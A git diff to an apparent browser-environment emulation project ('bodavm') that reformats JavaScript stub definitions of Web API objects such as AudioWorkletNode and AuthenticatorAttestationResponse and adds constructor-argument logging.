{configurable:true, enumerable:true, writable:true, value:function entries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParamMap'].prototype, "AudioParamMap", "entries", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioParamMap', "forEach", {configurable:true, enumerable:true, writable:true, value:function forEach (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParamMap'].prototype, "AudioParamMap", "forEach", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioParamMap', "get", {configurable:true, enumerable:true, writable:true, value:function get (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParamMap'].prototype, "AudioParamMap", "get", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioParamMap', "has", {configurable:true, enumerable:true, writable:true, value:function has (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParamMap'].prototype, "AudioParamMap", "has", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioParamMap', "keys", {configurable:true, enumerable:true, writable:true, value:function keys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParamMap'].prototype, "AudioParamMap", "keys", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioParamMap', "values", {configurable:true, enumerable:true, writable:true, value:function values (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParamMap'].prototype, "AudioParamMap", "values", arguments)}},'prototype'); +// AudioParamMap对象 + +bodavm.memory.globalobj['AudioParamMap'] = function AudioParamMap() { + console.log_copy('AudioParamMap 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof AudioParamMap)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioParamMap'], "AudioParamMap"); +bodavm.toolsFunc.defineProperty('AudioParamMap', "size", { + configurable: true, + enumerable: true, + get: function size() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParamMap'].prototype, "AudioParamMap", "size_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioParamMap', "entries", { + configurable: true, + enumerable: true, + writable: true, + value: function entries() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParamMap'].prototype, "AudioParamMap", "entries", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioParamMap', "forEach", { + configurable: true, + enumerable: true, + writable: true, + value: function forEach() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParamMap'].prototype, "AudioParamMap", "forEach", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioParamMap', "get", { + configurable: true, + enumerable: true, + writable: true, + value: function get() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParamMap'].prototype, "AudioParamMap", "get", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioParamMap', "has", { + configurable: true, + enumerable: true, + writable: true, + value: function has() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParamMap'].prototype, "AudioParamMap", "has", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioParamMap', "keys", { + configurable: true, + enumerable: true, + writable: true, + value: function keys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParamMap'].prototype, "AudioParamMap", "keys", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioParamMap', "values", { + configurable: true, + enumerable: true, + writable: true, + value: function values() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParamMap'].prototype, "AudioParamMap", "values", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/AudioProcessingEvent.js b/env_xbb_lastest_jsdom/env/AudioProcessingEvent.js index d4c4fd57..bc6ca986 100644 --- a/env_xbb_lastest_jsdom/env/AudioProcessingEvent.js +++ b/env_xbb_lastest_jsdom/env/AudioProcessingEvent.js @@ -1,8 +1,43 @@ -// AudioProcessingEvent对象 -bodavm.memory.globalobj['AudioProcessingEvent'] = function AudioProcessingEvent(){if (!(this instanceof AudioProcessingEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'AudioProcessingEvent': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioProcessingEvent'], "AudioProcessingEvent"); -bodavm.memory.globalobj['AudioProcessingEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['AudioProcessingEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('AudioProcessingEvent', "playbackTime", {configurable:true, enumerable:true, get:function playbackTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioProcessingEvent'].prototype, "AudioProcessingEvent", "playbackTime_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioProcessingEvent', "inputBuffer", {configurable:true, enumerable:true, get:function inputBuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioProcessingEvent'].prototype, "AudioProcessingEvent", "inputBuffer_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioProcessingEvent', "outputBuffer", {configurable:true, enumerable:true, get:function outputBuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioProcessingEvent'].prototype, "AudioProcessingEvent", "outputBuffer_get", arguments)}, set:undefined},'prototype'); +// AudioProcessingEvent对象 + +bodavm.memory.globalobj['AudioProcessingEvent'] = function AudioProcessingEvent() { + console.log_copy('AudioProcessingEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof AudioProcessingEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'AudioProcessingEvent': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioProcessingEvent'], "AudioProcessingEvent"); +bodavm.memory.globalobj['AudioProcessingEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['AudioProcessingEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('AudioProcessingEvent', "playbackTime", { + configurable: true, + enumerable: true, + get: function playbackTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioProcessingEvent'].prototype, "AudioProcessingEvent", "playbackTime_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioProcessingEvent', "inputBuffer", { + configurable: true, + enumerable: true, + get: function inputBuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioProcessingEvent'].prototype, "AudioProcessingEvent", "inputBuffer_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioProcessingEvent', "outputBuffer", { + configurable: true, + enumerable: true, + get: function outputBuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioProcessingEvent'].prototype, "AudioProcessingEvent", "outputBuffer_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/AudioScheduledSourceNode.js b/env_xbb_lastest_jsdom/env/AudioScheduledSourceNode.js index fa45239b..27445daa 100644 --- a/env_xbb_lastest_jsdom/env/AudioScheduledSourceNode.js +++ b/env_xbb_lastest_jsdom/env/AudioScheduledSourceNode.js @@ -1,8 +1,45 @@ -// AudioScheduledSourceNode对象 -bodavm.memory.globalobj['AudioScheduledSourceNode'] = function AudioScheduledSourceNode(){if (!(this instanceof AudioScheduledSourceNode)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioScheduledSourceNode'], "AudioScheduledSourceNode"); -bodavm.memory.globalobj['AudioScheduledSourceNode'].prototype.__proto__=bodavm.memory.globalobj['AudioNode'].prototype; -bodavm.memory.globalobj['AudioScheduledSourceNode'].__proto__=bodavm.memory.globalobj['AudioNode']; -bodavm.toolsFunc.defineProperty('AudioScheduledSourceNode', "onended", {configurable:true, enumerable:true, get:function onended (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioScheduledSourceNode'].prototype, "AudioScheduledSourceNode", "onended_get", arguments)}, set:function onended (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioScheduledSourceNode'].prototype, "AudioScheduledSourceNode", "onended_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioScheduledSourceNode', "start", {configurable:true, enumerable:true, writable:true, value:function start (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioScheduledSourceNode'].prototype, "AudioScheduledSourceNode", "start", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioScheduledSourceNode', "stop", {configurable:true, enumerable:true, writable:true, value:function stop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioScheduledSourceNode'].prototype, "AudioScheduledSourceNode", "stop", arguments)}},'prototype'); +// AudioScheduledSourceNode对象 + +bodavm.memory.globalobj['AudioScheduledSourceNode'] = function AudioScheduledSourceNode() { + console.log_copy('AudioScheduledSourceNode 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof AudioScheduledSourceNode)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioScheduledSourceNode'], "AudioScheduledSourceNode"); +bodavm.memory.globalobj['AudioScheduledSourceNode'].prototype.__proto__ = bodavm.memory.globalobj['AudioNode'].prototype; +bodavm.memory.globalobj['AudioScheduledSourceNode'].__proto__ = bodavm.memory.globalobj['AudioNode']; +bodavm.toolsFunc.defineProperty('AudioScheduledSourceNode', "onended", { + configurable: true, + enumerable: true, + get: function onended() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioScheduledSourceNode'].prototype, "AudioScheduledSourceNode", "onended_get", arguments); + }, + set: function onended() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioScheduledSourceNode'].prototype, "AudioScheduledSourceNode", "onended_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioScheduledSourceNode', "start", { + configurable: true, + enumerable: true, + writable: true, + value: function start() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioScheduledSourceNode'].prototype, "AudioScheduledSourceNode", "start", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioScheduledSourceNode', "stop", { + configurable: true, + enumerable: true, + writable: true, + value: function stop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioScheduledSourceNode'].prototype, "AudioScheduledSourceNode", "stop", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/AudioSinkInfo.js b/env_xbb_lastest_jsdom/env/AudioSinkInfo.js index 467b23cb..462542f9 100644 --- a/env_xbb_lastest_jsdom/env/AudioSinkInfo.js +++ b/env_xbb_lastest_jsdom/env/AudioSinkInfo.js @@ -1,4 +1,25 @@ -// AudioSinkInfo对象 -bodavm.memory.globalobj['AudioSinkInfo'] = function AudioSinkInfo(){if (!(this instanceof AudioSinkInfo)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioSinkInfo'], "AudioSinkInfo"); -bodavm.toolsFunc.defineProperty('AudioSinkInfo', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioSinkInfo'].prototype, "AudioSinkInfo", "type_get", arguments)}, set:undefined},'prototype'); +// AudioSinkInfo对象 + +bodavm.memory.globalobj['AudioSinkInfo'] = function AudioSinkInfo() { + console.log_copy('AudioSinkInfo 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof AudioSinkInfo)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioSinkInfo'], "AudioSinkInfo"); +bodavm.toolsFunc.defineProperty('AudioSinkInfo', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioSinkInfo'].prototype, "AudioSinkInfo", "type_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/AudioWorklet.js b/env_xbb_lastest_jsdom/env/AudioWorklet.js index f747f9c5..bb722f29 100644 --- a/env_xbb_lastest_jsdom/env/AudioWorklet.js +++ b/env_xbb_lastest_jsdom/env/AudioWorklet.js @@ -1,5 +1,19 @@ -// AudioWorklet对象 -bodavm.memory.globalobj['AudioWorklet'] = function AudioWorklet(){if (!(this instanceof AudioWorklet)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioWorklet'], "AudioWorklet"); -bodavm.memory.globalobj['AudioWorklet'].prototype.__proto__=bodavm.memory.globalobj['Worklet'].prototype; -bodavm.memory.globalobj['AudioWorklet'].__proto__=bodavm.memory.globalobj['Worklet']; +// AudioWorklet对象 + +bodavm.memory.globalobj['AudioWorklet'] = function AudioWorklet() { + console.log_copy('AudioWorklet 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof AudioWorklet)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioWorklet'], "AudioWorklet"); +bodavm.memory.globalobj['AudioWorklet'].prototype.__proto__ = bodavm.memory.globalobj['Worklet'].prototype; +bodavm.memory.globalobj['AudioWorklet'].__proto__ = bodavm.memory.globalobj['Worklet']; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/AudioWorkletNode.js b/env_xbb_lastest_jsdom/env/AudioWorkletNode.js index 60e46639..e37571b1 100644 --- a/env_xbb_lastest_jsdom/env/AudioWorkletNode.js +++ b/env_xbb_lastest_jsdom/env/AudioWorkletNode.js @@ -1,8 +1,45 @@ -// AudioWorkletNode对象 -bodavm.memory.globalobj['AudioWorkletNode'] = function AudioWorkletNode(){if (!(this instanceof AudioWorkletNode)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'AudioWorkletNode': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioWorkletNode'], "AudioWorkletNode"); -bodavm.memory.globalobj['AudioWorkletNode'].prototype.__proto__=bodavm.memory.globalobj['AudioNode'].prototype; -bodavm.memory.globalobj['AudioWorkletNode'].__proto__=bodavm.memory.globalobj['AudioNode']; -bodavm.toolsFunc.defineProperty('AudioWorkletNode', "parameters", {configurable:true, enumerable:true, get:function parameters (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioWorkletNode'].prototype, "AudioWorkletNode", "parameters_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioWorkletNode', "port", {configurable:true, enumerable:true, get:function port (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioWorkletNode'].prototype, "AudioWorkletNode", "port_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioWorkletNode', "onprocessorerror", {configurable:true, enumerable:true, get:function onprocessorerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioWorkletNode'].prototype, "AudioWorkletNode", "onprocessorerror_get", arguments)}, set:function onprocessorerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioWorkletNode'].prototype, "AudioWorkletNode", "onprocessorerror_set", arguments)}},'prototype'); +// AudioWorkletNode对象 + +bodavm.memory.globalobj['AudioWorkletNode'] = function AudioWorkletNode() { + console.log_copy('AudioWorkletNode 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof AudioWorkletNode)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'AudioWorkletNode': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioWorkletNode'], "AudioWorkletNode"); +bodavm.memory.globalobj['AudioWorkletNode'].prototype.__proto__ = bodavm.memory.globalobj['AudioNode'].prototype; +bodavm.memory.globalobj['AudioWorkletNode'].__proto__ = bodavm.memory.globalobj['AudioNode']; +bodavm.toolsFunc.defineProperty('AudioWorkletNode', "parameters", { + configurable: true, + enumerable: true, + get: function parameters() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioWorkletNode'].prototype, "AudioWorkletNode", "parameters_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioWorkletNode', "port", { + configurable: true, + enumerable: true, + get: function port() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioWorkletNode'].prototype, "AudioWorkletNode", "port_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioWorkletNode', "onprocessorerror", { + configurable: true, + enumerable: true, + get: function onprocessorerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioWorkletNode'].prototype, "AudioWorkletNode", "onprocessorerror_get", arguments); + }, + set: function onprocessorerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioWorkletNode'].prototype, "AudioWorkletNode", "onprocessorerror_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/AuthenticatorAssertionResponse.js b/env_xbb_lastest_jsdom/env/AuthenticatorAssertionResponse.js index 65f014c0..d107e199 100644 --- a/env_xbb_lastest_jsdom/env/AuthenticatorAssertionResponse.js +++ b/env_xbb_lastest_jsdom/env/AuthenticatorAssertionResponse.js @@ -1,8 +1,43 @@ -// AuthenticatorAssertionResponse对象 -bodavm.memory.globalobj['AuthenticatorAssertionResponse'] = function AuthenticatorAssertionResponse(){if (!(this instanceof AuthenticatorAssertionResponse)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AuthenticatorAssertionResponse'], "AuthenticatorAssertionResponse"); -bodavm.memory.globalobj['AuthenticatorAssertionResponse'].prototype.__proto__=bodavm.memory.globalobj['AuthenticatorResponse'].prototype; -bodavm.memory.globalobj['AuthenticatorAssertionResponse'].__proto__=bodavm.memory.globalobj['AuthenticatorResponse']; -bodavm.toolsFunc.defineProperty('AuthenticatorAssertionResponse', "authenticatorData", {configurable:true, enumerable:true, get:function authenticatorData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AuthenticatorAssertionResponse'].prototype, "AuthenticatorAssertionResponse", "authenticatorData_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AuthenticatorAssertionResponse', "signature", {configurable:true, enumerable:true, get:function signature (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AuthenticatorAssertionResponse'].prototype, "AuthenticatorAssertionResponse", "signature_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AuthenticatorAssertionResponse', "userHandle", {configurable:true, enumerable:true, get:function userHandle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AuthenticatorAssertionResponse'].prototype, "AuthenticatorAssertionResponse", "userHandle_get", arguments)}, set:undefined},'prototype'); +// AuthenticatorAssertionResponse对象 + +bodavm.memory.globalobj['AuthenticatorAssertionResponse'] = function AuthenticatorAssertionResponse() { + console.log_copy('AuthenticatorAssertionResponse 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof AuthenticatorAssertionResponse)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AuthenticatorAssertionResponse'], "AuthenticatorAssertionResponse"); +bodavm.memory.globalobj['AuthenticatorAssertionResponse'].prototype.__proto__ = bodavm.memory.globalobj['AuthenticatorResponse'].prototype; +bodavm.memory.globalobj['AuthenticatorAssertionResponse'].__proto__ = bodavm.memory.globalobj['AuthenticatorResponse']; +bodavm.toolsFunc.defineProperty('AuthenticatorAssertionResponse', "authenticatorData", { + configurable: true, + enumerable: true, + get: function authenticatorData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AuthenticatorAssertionResponse'].prototype, "AuthenticatorAssertionResponse", "authenticatorData_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AuthenticatorAssertionResponse', "signature", { + configurable: true, + enumerable: true, + get: function signature() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AuthenticatorAssertionResponse'].prototype, "AuthenticatorAssertionResponse", "signature_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AuthenticatorAssertionResponse', "userHandle", { + configurable: true, + enumerable: true, + get: function userHandle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AuthenticatorAssertionResponse'].prototype, "AuthenticatorAssertionResponse", "userHandle_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/AuthenticatorAttestationResponse.js b/env_xbb_lastest_jsdom/env/AuthenticatorAttestationResponse.js index af2e1830..38283f54 100644 --- a/env_xbb_lastest_jsdom/env/AuthenticatorAttestationResponse.js +++ b/env_xbb_lastest_jsdom/env/AuthenticatorAttestationResponse.js @@ -1,10 +1,59 @@ -// AuthenticatorAttestationResponse对象 -bodavm.memory.globalobj['AuthenticatorAttestationResponse'] = function AuthenticatorAttestationResponse(){if (!(this instanceof AuthenticatorAttestationResponse)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AuthenticatorAttestationResponse'], "AuthenticatorAttestationResponse"); -bodavm.memory.globalobj['AuthenticatorAttestationResponse'].prototype.__proto__=bodavm.memory.globalobj['AuthenticatorResponse'].prototype; -bodavm.memory.globalobj['AuthenticatorAttestationResponse'].__proto__=bodavm.memory.globalobj['AuthenticatorResponse']; -bodavm.toolsFunc.defineProperty('AuthenticatorAttestationResponse', "attestationObject", {configurable:true, enumerable:true, get:function attestationObject (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AuthenticatorAttestationResponse'].prototype, "AuthenticatorAttestationResponse", "attestationObject_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AuthenticatorAttestationResponse', "getAuthenticatorData", {configurable:true, enumerable:true, writable:true, value:function getAuthenticatorData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AuthenticatorAttestationResponse'].prototype, "AuthenticatorAttestationResponse", "getAuthenticatorData", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AuthenticatorAttestationResponse', "getPublicKey", {configurable:true, enumerable:true, writable:true, value:function getPublicKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AuthenticatorAttestationResponse'].prototype, "AuthenticatorAttestationResponse", "getPublicKey", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AuthenticatorAttestationResponse', "getPublicKeyAlgorithm", {configurable:true, enumerable:true, writable:true, value:function getPublicKeyAlgorithm (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AuthenticatorAttestationResponse'].prototype, "AuthenticatorAttestationResponse", "getPublicKeyAlgorithm", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AuthenticatorAttestationResponse', "getTransports", {configurable:true, enumerable:true, writable:true, value:function getTransports (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AuthenticatorAttestationResponse'].prototype, "AuthenticatorAttestationResponse", "getTransports", arguments)}},'prototype'); +// AuthenticatorAttestationResponse对象 + +bodavm.memory.globalobj['AuthenticatorAttestationResponse'] = function AuthenticatorAttestationResponse() { + console.log_copy('AuthenticatorAttestationResponse 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof AuthenticatorAttestationResponse)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AuthenticatorAttestationResponse'], "AuthenticatorAttestationResponse"); +bodavm.memory.globalobj['AuthenticatorAttestationResponse'].prototype.__proto__ = bodavm.memory.globalobj['AuthenticatorResponse'].prototype; +bodavm.memory.globalobj['AuthenticatorAttestationResponse'].__proto__ = bodavm.memory.globalobj['AuthenticatorResponse']; +bodavm.toolsFunc.defineProperty('AuthenticatorAttestationResponse', "attestationObject", { + configurable: true, + enumerable: true, + get: function attestationObject() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AuthenticatorAttestationResponse'].prototype, "AuthenticatorAttestationResponse", "attestationObject_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AuthenticatorAttestationResponse', "getAuthenticatorData", { + configurable: true, + enumerable: true, + writable: true, + value: function getAuthenticatorData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AuthenticatorAttestationResponse'].prototype, "AuthenticatorAttestationResponse", "getAuthenticatorData", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AuthenticatorAttestationResponse', "getPublicKey", { + configurable: true, + enumerable: true, + writable: true, + value: function getPublicKey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AuthenticatorAttestationResponse'].prototype, "AuthenticatorAttestationResponse", "getPublicKey", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AuthenticatorAttestationResponse', "getPublicKeyAlgorithm", { + configurable: true, + enumerable: true, + writable: true, + value: function getPublicKeyAlgorithm() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AuthenticatorAttestationResponse'].prototype, "AuthenticatorAttestationResponse", "getPublicKeyAlgorithm", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AuthenticatorAttestationResponse', "getTransports", { + configurable: true, + enumerable: true, + writable: true, + value: function getTransports() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AuthenticatorAttestationResponse'].prototype, "AuthenticatorAttestationResponse", "getTransports", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/AuthenticatorResponse.js b/env_xbb_lastest_jsdom/env/AuthenticatorResponse.js index fbadcbb5..160bdf14 100644 --- a/env_xbb_lastest_jsdom/env/AuthenticatorResponse.js +++ b/env_xbb_lastest_jsdom/env/AuthenticatorResponse.js @@ -1,4 +1,25 @@ -// AuthenticatorResponse对象 -bodavm.memory.globalobj['AuthenticatorResponse'] = function AuthenticatorResponse(){if (!(this instanceof AuthenticatorResponse)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AuthenticatorResponse'], "AuthenticatorResponse"); -bodavm.toolsFunc.defineProperty('AuthenticatorResponse', "clientDataJSON", {configurable:true, enumerable:true, get:function clientDataJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AuthenticatorResponse'].prototype, "AuthenticatorResponse", "clientDataJSON_get", arguments)}, set:undefined},'prototype'); +// AuthenticatorResponse对象 + +bodavm.memory.globalobj['AuthenticatorResponse'] = function AuthenticatorResponse() { + console.log_copy('AuthenticatorResponse 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof AuthenticatorResponse)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AuthenticatorResponse'], "AuthenticatorResponse"); +bodavm.toolsFunc.defineProperty('AuthenticatorResponse', "clientDataJSON", { + configurable: true, + enumerable: true, + get: function clientDataJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AuthenticatorResponse'].prototype, "AuthenticatorResponse", "clientDataJSON_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/BackgroundFetchManager.js b/env_xbb_lastest_jsdom/env/BackgroundFetchManager.js index 823a8cb5..7faa2827 100644 --- a/env_xbb_lastest_jsdom/env/BackgroundFetchManager.js +++ 